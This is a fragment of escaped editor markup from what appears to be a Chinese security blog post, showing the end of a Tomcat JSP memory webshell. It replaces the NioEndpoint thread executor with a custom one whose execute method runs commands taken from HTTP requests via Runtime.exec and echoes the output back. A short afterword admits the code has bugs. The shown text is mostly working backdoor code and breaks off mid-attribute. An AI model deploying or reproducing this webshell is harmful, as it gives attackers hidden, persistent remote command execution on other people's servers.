}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pPq5-1659707094789&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;01eB-1659707094788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JY3u-1659707094791&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o0mi-1659707094790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X9Tz-1659707094793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hHxT-1659707094792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NfR5-1659707094795&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzxq-1659707094794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYAf-1659707094797&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TsJq-1659707094796&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UHGd-1659707094799&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pNrr-1659707094798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wMIF-1659707094802&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gohn-1659707094800&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dVVH-1659707094804&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WTgX-1659707094803&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HZmQ-1659707094806&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YBTn-1659707094805&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f1MB-1659707094808&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tZjN-1659707094807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void execute(Runnable command) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UJDz-1659707094810&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fnM4-1659707094809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            System.out.println(\&#34;123\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vp9I-1659707094812&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Oqmr-1659707094811&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1mSw-1659707094814&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KGHz-1659707094813&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            String cmd = getRequest2();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LxTU-1659707094816&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jj3x-1659707094815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (cmd.length() &gt; 1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yuwe-1659707094818&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Rsv-1659707094817&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fAAe-1659707094820&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ixll-1659707094819&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Runtime rt = Runtime.getRuntime();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xRFp-1659707094822&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PsjA-1659707094821&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Process process = rt.exec(cmd);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;19vK-1659707094824&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lmLO-1659707094823&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStream in = process.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ivsV-1659707094826&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sjxU-1659707094825&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4s35-1659707094828&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tPFY-1659707094827&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bzmg-1659707094830&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;96jw-1659707094829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0LfM-1659707094832&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WfpR-1659707094831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String s = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sxGg-1659707094834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBkZ-1659707094833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String tmp = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5bPH-1659707094836&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;abkk-1659707094835&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while ((tmp = stdInput.readLine()) != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VSAA-1659707094838&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wItQ-1659707094837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        s += tmp;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zz18-1659707094840&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CJpu-1659707094839&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cXsP-1659707094843&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S7Ap-1659707094842&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (s != \&#34;\&#34;) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mvtT-1659707094845&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7sBf-1659707094844&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        byte[] res = s.getBytes(StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P2Vw-1659707094847&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d7ii-1659707094846&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        getResponse(res);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sjKW-1659707094849&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PGE1-1659707094848&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rhAx-1659707094851&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s5NT-1659707094850&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GyT6-1659707094853&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bhuC-1659707094852&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fi3O-1659707094855&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iAJv-1659707094854&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (IOException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lfiC-1659707094857&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C7aq-1659707094856&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gjmQ-1659707094859&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mbsd-1659707094858&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3hNs-1659707094861&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uxZZ-1659707094860&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VBSZ-1659707094863&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VEns-1659707094862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yYOX-1659707094865&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oIg2-1659707094864&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BdbK-1659707094867&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qYeK-1659707094866&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.execute(command, 0L, TimeUnit.MILLISECONDS);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UrfN-1659707094870&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5g2J-1659707094868&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;39aw-1659707094872&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3NFc-1659707094871&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rI9j-1659707094874&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZUp-1659707094873&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FZhn-1659707094876&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8UO3-1659707094875&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DeOq-1659707094878&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zrOF-1659707094877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zCVv-1659707094880&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jhiF-1659707094879&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E5Ao-1659707094882&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1FPh-1659707094881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;%&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zJ7B-1659707094884&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ny6z-1659707094883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xr8O-1659707094886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ppbl-1659707094885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jzOT-1659707094888&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YHgw-1659707094887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;29eO-1659707094890&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xoS6-1659707094889&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sUhc-1659707094892&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aM6f-1659707094891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xKzp-1659707094894&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;31yN-1659707094893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LIT7-1659707094896&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Utj9-1659707094895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, \&#34;executor\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZFdO-1659707094898&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I78o-1659707094897&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Efl-1659707094901&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aRki-1659707094899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        nioEndpoint.setExecutor(exe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ncre-1659707094903&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1nc8-1659707094902&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }catch (ClassCastException e){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;39KG-1659707094905&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DIZl-1659707094904&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        StandardThreadExecutor standardexec = (StandardThreadExecutor) getField(nioEndpoint, \&#34;executor\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;33JJ-1659707094907&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ShZ4-1659707094906&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(standardexec, \&#34;executor\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LnCr-1659707094909&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ULxX-1659707094908&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;naEe-1659707094911&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BOWm-1659707094910&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        nioEndpoint.setExecutor(exe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kLDr-1659707094913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MW81-1659707094912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bAEP-1659707094915&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZerX-1659707094914&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9zOf-1659707094917&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sxzB-1659707094916&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;%&gt;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7mZD-1659706720315&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ywje-1659706720316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JzDJ-1659706718633&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xXPu-1659706718631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;levt-1659700469488&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u0AV-1659700469486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;仍请忽略我拙劣的coding能力，代码中仍存在一些问题（比如回显size过大导致的response header溢出错误。）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DBxS-1659711076285&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IxpR-1659711076283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4cXq-1659710627955&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WpT8-1659710627939&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rudz-1659700469712&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LHwj-1659700469710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration: 